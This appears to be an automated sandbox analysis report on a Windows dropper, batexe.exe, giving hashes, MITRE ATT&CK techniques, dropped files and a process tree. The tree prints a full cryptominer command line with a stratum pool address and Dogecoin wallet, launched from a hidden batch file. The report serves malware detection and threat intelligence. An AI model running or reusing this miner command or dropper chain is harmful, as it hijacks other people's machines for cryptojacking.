73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
299s
max time network
301s
platform
windows10-2004_x64
resource
win10v2004-20240221-ja
resource tags

arch:x64arch:x86image:win10v2004-20240221-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
22/02/2024, 13:16

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-910440534-423636034-2318342392-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-910440534-423636034-2318342392-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
3248	b2e.exe
5172	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
5172	cpuminer-sse2.exe
5172	cpuminer-sse2.exe
5172	cpuminer-sse2.exe
5172	cpuminer-sse2.exe
5172	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/4936-8-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4936 wrote to memory of 3248	4936	batexe.exe	88
PID 4936 wrote to memory of 3248	4936	batexe.exe	88
PID 4936 wrote to memory of 3248	4936	batexe.exe	88
PID 3248 wrote to memory of 1460	3248	b2e.exe	89
PID 3248 wrote to memory of 1460	3248	b2e.exe	89
PID 3248 wrote to memory of 1460	3248	b2e.exe	89
PID 1460 wrote to memory of 5172	1460	cmd.exe	92
PID 1460 wrote to memory of 5172	1460	cmd.exe	92

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4936
- C:\Users\Admin\AppData\Local\Temp\5285.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\5285.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\5285.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3248
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\56DA.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1460
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:5172

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\5285.tmp\b2e.exe

Filesize
23.8MB

MD5
cf64cdc0564f824139a4a42e27d95853

SHA1
0a717ecdd603c57659b7692fa7ef4049795a08d2

SHA256
9be8b1554b976c135dc6668854a27cb500d5407dd83444d784232edaf4a72ac9

SHA512
5abde1206cfeeed39c709ba3a01ad456fa6b45bf99caa320daef79b9be430cf74c929ade1b491bbfb71b7c599285f28fa8f0271f4e0ec456cb0a53b66f6d7c3e

Download Submit
C:\Users\Admin\AppData\Local\Temp\5285.tmp\b2e.exe

Filesize
3.9MB

MD5
9a99034eda6fbfd94ee3fc215c0d3c50

SHA1
82b8652ab4e665d4a4120a912421d9e68e973970

SHA256
382dfd4d162551b0228027f4c317bd957a4d50889b27b583f42dc60be3c71098

SHA512
ec15784c8048aa377461a4743dd056aded45d125c5309823d726a7eebb7ba66ef6c0295ec98bf3d613641c89b920037f7c0a25ccd44769c126db1b62743d45a1

Download Submit
C:\Users\Admin\AppData\Local\Temp\5285.tmp\b2e.exe

Filesize
3.3MB

MD5
e555a1eb18fa5d4e3caeba92d4a7aac5

SHA1
d7ba3d296a50e0df990faaeddfe4da9fd0faa6e1

SHA256
34efa5ce02e36f3a0ac2af6a1c4a49bb38d152621149e11234d9204884a05da8

SHA512
2fe7e6004914f9addb0a8e03e5fe594f0f8e0284146929622944d995cf773bf3bf9c578bf4d95afe721a3a1754072d4799e2e12ef77d069eed67ade7f288b596

Download Submit
C:\Users\Admin\AppData\Local\Temp\56DA.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
6.0MB

MD5
279d8891c95409ecbd31c0b46f4abe59

SHA1
8853e3faae10a154b2685a2b3af8a69a3675618e

SHA256
0dbe522dcf37cfe2242e7ca3504eba161bc171202e55cd3d7790c8191df924c4

SHA512
e503f7dec21542309f09da2a79636781656a24517adff684d8c4927eaf12d4c3d95d46923e8124b2adb3d31cdca015dcd50e7af363fad835e4cc29551d9ebc3a

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
9.5MB

MD5
0e1518961894c1a80cde5138643005c1

SHA1
7e410086b6abd23c7a97609a8684c037748cc307

SHA256
64a125c40013fbe01b1444ab5d37caf5dc7520d489376cae0f8ad9beada3598d

SHA512
8f6147982be7779d6e76b40a81f1443cd02aa7e31d60dbd094a61e35ca9cd838dfa0a38467428781c5b4384e2b4bfabd85337b15d5d445e13ade1d0e9ebc4f22

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
9.2MB

MD5
d34f64749fa94f7cc2e55ba925352d8c

SHA1
7e7302986600701474890a1f8e9914e2d323891c

SHA256
6ab4665ad08651809ffbf265e524afd007a0675a12590464c4cfc176298c05f3

SHA512
8708a7b5e53c9f50c8b170a1a35bfc976f59b5a9a05b66715f629b9de2fc26cb6c0eff318ecf2e94c3df716cb45a29188e0b6fa1f9b42a2c4d04edec5937585a

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/3248-9-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3248-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/4936-8-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/5172-44-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/5172-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5172-46-0x0000000072700000-0x0000000072798000-memory.dmp

Filesize
608KB

Download
memory/5172-47-0x00000000010C0000-0x0000000002975000-memory.dmp

Filesize
24.7MB

Download
memory/5172-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5172-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5172-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5172-45-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/5172-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5172-74-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5172-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5172-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5172-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5172-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5172-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/5172-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download